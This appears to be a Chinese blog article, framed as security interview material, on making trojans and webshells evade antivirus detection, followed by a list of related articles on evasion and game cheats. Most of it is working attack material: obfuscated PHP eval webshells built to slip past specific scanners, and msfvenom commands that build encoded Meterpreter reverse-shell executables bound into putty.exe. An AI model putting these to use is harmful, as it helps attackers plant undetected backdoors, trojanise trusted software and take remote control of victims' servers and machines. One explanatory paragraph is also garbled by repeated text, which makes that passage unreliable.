【木马免杀】

article/2025/9/24 3:32:48

文章目录

  • 前言
  • 题目
    • 一.免杀需求,查杀技术,免杀技巧,免杀实战
      • 免杀需求
      • 查杀技术
      • 免杀技巧
      • 免杀实战
        • webshell免杀:
          • 1.引用免杀
          • 2.可变变量
          • 3.二维数组
          • 4.数组交集
          • 5.回调函数
          • 6.编码
        • 木马免杀:
          • 1.msf自带免杀
          • 2.msf捆绑免杀
          • 3.msf自带免杀+捆绑
          • 4.backdoor-factory
          • 5.unicorn 独角兽
  • 总结


前言

网络安全常见面试题


题目


一.免杀需求,查杀技术,免杀技巧,免杀实战

免杀需求

因为设计的木马的最终目的在发现目标网站有上传漏洞时可以将木马上传到目标服务器上并且可以远程访问实现远程控制,然而一些网站都会有安全狗、D盾、安骑士、护卫神、云锁等防护软件可以对一些Webshell进行查杀,那么要想使用Webshell进行远控就需要实现免杀,以此来躲避木马查杀工具的检查。

查杀技术

目前主流的木马查杀方法有:静态检查、动态检测、日志检查三种方式。

1.静态检查通过匹配特征码、危险函数和木马特征值来查杀木马程序,它的特点是快速方便,对已知的木马程序查找准确率较高。它的缺点是误报率较高,无法查找0Day型的木马程序,而且容易被绕过。

2.动态检测通过木马程序的动态特征来检测,当木马程序被上传到服务器上后,攻击者总会去执行它,当木马程序被执行时所表现出来的特征就是所谓的动态特征。

2.日志检测则主要通过日志分析检测技术来实现,它主要通过分析大量的日志文件并建立请求模型来检测出异常文件。它的优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

免杀技巧

1.木马程序可以使用多种编程语言来设计,不同的编程语言有不同特性以及提供的系统函数,所以在实现免杀时可以首先考虑灵活运用语言的特性来实现免杀,
2.其次可以根据查杀软件的查杀规则来重构木马程序,躲避木马查杀工具的查杀
3.同时可以考虑密码学中的加密解密对源木马程序进行加密解密处理,以此来躲避木马查杀工具的检查。
木马免杀技术的核心在于“灵活多变”。

免杀实战

一句话木马未经过免杀变形时,例如

<?php @eval($_POST['123']); 
?>

webshell免杀:

1.引用免杀

因为D盾、安全狗、护卫神会对关键字eval中的执行变量进行溯源,当追溯到要执行的变量为一个通过POST接收的可疑数据时就会显示可疑木马,为了躲避这种溯源方式,可以通过多次使用&来引用前一个变量,通过一连串的赋值操作最后将要执行的内容与反引号拼接后传入eval实现免杀,具体实现如下所示:

<?php 
$b=&$a;
$a=$_POST['123'];
$c=&$b;
eval(`/***aaa***/`.$c);
?>
2.可变变量

可变变量是PHP中一种较为独特的变量,它可以动态的改变一个变量的名称,这种特性可以用于木马免杀中。首先可以定义一个变量 a 并为其赋值为 a a , 之后将木马内容赋值给可变变量 a并为其赋值为aa,之后将木马内容赋值给可变变量 a并为其赋值为aa,之后将木马内容赋值给可变变量 a , 最后在调用 e v a l 函数执行时将执行对象定义为 a,最后在调用eval函数执行时将执行对象定义为 a,最后在调用eval函数执行时将执行对象定义为aa即可,具体实现如下所示:

<?php
$a = 'aa';
$$a = $_POST['123'];
eval(`/**123**/`.$aa);
?>
3.二维数组

在免杀时我们可以考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的,例如:

<?php
$b =substr_replace("assexx","rt",4);
$a = array($array = array(" => $b($_POST['123'])));
var_dump($a);
?>
4.数组交集

在做免杀研究是,发现我们可以通过数组的交集来获得我们想要的值,之后将其利用到木马程序的构造当中,例如:

<?php
$a1=array("a"=>"red" ,"ss"=>"green","c"=>"blue" ,"er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue" ,"d"=>"pink","er"=>"hellos", "moza"=>"good_boy","t"=>"hey");$result=array_intersect_key($a1,$a2);//取数组交集
$a = array_keys($result);//取数组键值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['q'];
@$man(`/**/`.$kk=$kk);print _r($a1);//扰乱规则
?>

此免杀方式可以绕过绝大多数查杀软件

5.回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数 a 用作回调函数名称,第二个参数 a用作回调函数名称,第二个参数 a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数

<?php
function test($a,$b){array_map($a,$b);
}
test(eval,array($_POST['123']));
?>
array_filter()
call_user_func_array() //可代替array_map的函数
6.编码

可以对关键函数,如eval,assert等进行base64编码处理,或通过数组拼接再回调等

木马免杀:

1.msf自带免杀
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o shell.exe
2.msf捆绑免杀
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -x putty.exe -f exe -o shell.exe
3.msf自带免杀+捆绑
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o shell.exe
4.backdoor-factory
5.unicorn 独角兽

总结

本期主要介绍了木马免杀的一些方法


http://chatgpt.dhexx.cn/article/8fstNrfr.shtml

相关文章

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么&#xff1f;因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF&#xff0c;演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

msf生成免杀木马

一.杀软原理 免杀概念免杀&#xff0c;也就是反病毒&#xff08;AntiVirus&#xff09;与反间谍&#xff08;AntiSpyware&#xff09;的对立面&#xff0c;英文为Anti-AntiVirus&#xff08;简写Virus AV&#xff09;&#xff0c;逐字翻译为“反-反病毒”&#xff0c;翻译为“…

052 木马免杀全攻略

木马免杀全攻略 转载自&#xff1a;a1pass.blog.163.com 2007-12-07 14:02:24| 分类&#xff1a; 思绪燃星火——技 | 标签&#xff1a;黑客 杂志刊物 作者&#xff1a;A1Pass 出处&#xff1a;http://a1pass.blog.163.com/ 本文发表于07年第7期《黑客X档案》&#xff0c;与原…

渗透测试-木马免杀的几种方式

前言 免杀&#xff0c;又叫免杀毒技术&#xff0c;是反病毒&#xff0c;反间谍的对立面&#xff0c;是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外&#xff0c;还可以扩增病毒木马的功能&#xff0c;改变病毒木马的行为。免杀的基本特征是破坏…

木马免杀方式

前言 免杀&#xff0c;又叫免杀毒技术&#xff0c;是反病毒&#xff0c;反间谍的对立面&#xff0c;是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外&#xff0c;还可以扩增病毒木马的功能&#xff0c;改变病毒木马的行为。免杀的基本特征是破坏…

Kali渗透-MSF木马免杀技术

前言 免杀技术全称为反杀毒技术 Anti-Virus 简称“免杀”&#xff0c;它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广&#xff0c;其中包含反汇编、逆向工程、系统漏洞等技术&#xff0c;内容基本上都是修改病毒、木马的内容改变特征码&#…

C语言C++制作游戏外挂,一个简单的内存外挂!

通过 C 语言编写一个简单的外挂&#xff0c;通过 API 函数修改游戏数据&#xff0c;从而实现作弊功能 对象分析 要用的 API 函数简单介绍 编写测试效果 总体评价 下面是小编整理好的一套C/C资料&#xff0c;加小编C/C编程学习群825414254获取系统性学习C/C的学习资料 对象分析…

使用MisakaPatcher制作Galgame外挂汉化补丁

简介 这两天我看见一个galgame机翻工具 MisakaTranslator&#xff0c;它类似VNR&#xff0c;使用C#编写并且支持Hook和OCR&#xff08;图像识别&#xff09;两种方法提取文本。 我在MisakaTranslator的基础上进行了一些改动&#xff0c;去除了所有的机翻的功能&#xff0c;转…

利用python编程,制作自己的游戏“外挂”!

Python简介及应用领域 Python是一种解释型脚本语言&#xff0c;可以应用于以下领域&#xff1a; Web 和 Internet开发科学计算和统计人工智能教育桌面界面开发软件开发后端开发网络爬虫 今天以一个小游戏和一小段代码来告诉大家编程有多好玩。 编程用的好&#xff0c;不仅可…

外挂的艺术-单机游戏辅助工具-网络游戏外挂

外挂&#xff08;wi gu&#xff09; 又叫开挂、开外挂、辅助、第三方辅助软件&#xff0c;综合某些修改器的功能进行编程出的游戏修改器。一般指通过修改游戏数据而为玩家谋取利益的作弊程序或软件&#xff0c;即利用电脑技术针对一个或多个软件进行非原设操作&#xff0c;篡改…

一步步用python制作游戏外挂【转】

玩过电脑游戏的同学对于外挂肯定不陌生&#xff0c;但是你在用外挂的时候有没有想过如何做一个外挂呢&#xff1f;&#xff08;当然用外挂不是那么道义哈&#xff0c;呵呵&#xff09;&#xff0c;那我们就来看一下如何用python来制作一个外挂。。。。 我打开了4399小游戏网&am…

制作游戏辅助/外挂违法吗?

不知道你们有没有过一个体验&#xff1a; 玩《绝地求生》的时候&#xff0c;我们辛辛苦苦开着车在跑毒&#xff0c;旁边“咻”的一下突然蹭上来一个人&#xff0c;徒步跑得竟然比车快&#xff1f; 然后吧他还跑到你旁边开麦问&#xff1a;“嘿&#xff01;兄弟&#xff01;挂…

游戏外挂攻防艺术

游戏外挂攻防艺术 (游戏外挂内幕首度解密 国内唯一相关权威著作) 徐胜 著 2013年2月出版 ISBN978-7-121-19532-7 定价:59.00元 256页 16开 编辑推荐 广义的外挂随处可见,一度喧嚣尘上的抢票浏览器其实就是外挂行为。对于游戏而言,外挂是一种通过篡改特定网游的部分程序而实…

想学制作外挂的新手看过来

新手学易语言制作辅助的准备 1.三套基础教学视频,如:(觅风、世恒、魔鬼…等等) 2.CE、OD的使用方法 3.汇编与逆向基础视频 4.了解并学习做自己的E模块 5.了解并学习怎么过游戏检测 6.实战: ①准备1套游戏实战教程 ②跟随教程找本地所玩游戏相关数据 ③编写第一个辅助 存在…

游戏外挂开发原理初探——植物大战僵尸内存挂为例

前言 对外挂有点兴趣&#xff0c;做番了解 一、游戏外挂开发原理 1、外挂分类 外挂现在大体上来讲分为三种&#xff0c;分别是模拟按键&#xff0c;WPE封包和内存挂 模拟键盘的&#xff0c;鼠标的&#xff0c;这种就叫做按键模拟&#xff0c;也叫脚本精灵修改数据包的&…

用Python制作游戏外挂(上)

源地址&#xff1a;http://eyehere.net/2012/python-game-bot-autopy-1/ 悲剧成我这样的人&#xff0c;我知道肯定不止我一个&#xff0c;所以我一点都不悲伤:-( 所以我打开了4399小游戏网&#xff0c;点开了一个不知名的游戏&#xff0c;唔&#xff0c;做寿司的&#xff0c;有…

游戏外挂制作原理

2019独角兽企业重金招聘Python工程师标准>>> 一、 前言   所谓游戏外挂&#xff0c;其实是一种游戏外辅程序&#xff0c;它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等&#xff0c;以实现玩家用最少的时间和金钱去完成功力升级和过关…

Python制作安卓游戏外挂

Python制作安卓游戏外挂 最近在玩一款背单词的手机游戏&#xff0d;单词英雄&#xff0c;是一个将背单词和卡牌游戏相结合的游戏&#xff0c;通过选择正确的单词意思进行有效攻击&#xff0c;边玩游戏就把单词给背了。 游戏的界面是这样的&#xff1a; Paste_Image.png 通过选择…

一步步用python制作游戏外挂

玩过电脑游戏的同学对于外挂肯定不陌生&#xff0c;但是你在用外挂的时候有没有想过如何做一个外挂呢&#xff1f;&#xff08;当然用外挂不是那么道义哈&#xff0c;呵呵&#xff09;&#xff0c;那我们就来看一下如何用python来制作一个外挂。。。。 我打开了4399小游戏网&am…

游戏外挂怎么做?

文章目录 1.什么是游戏外挂2.外挂的分类及实现原理2.1 辅助类外挂2.2 专用插件类外挂2.3 通用工具2.4 内存修改器2.5 变速器2.6 按键精灵2.7 模拟器2.8 破解版 转载自&#xff1a;Anti-Cheat Expert 游戏安全专家 干货&#xff01;什么是游戏外挂&#xff0c;外挂的种类及实现原…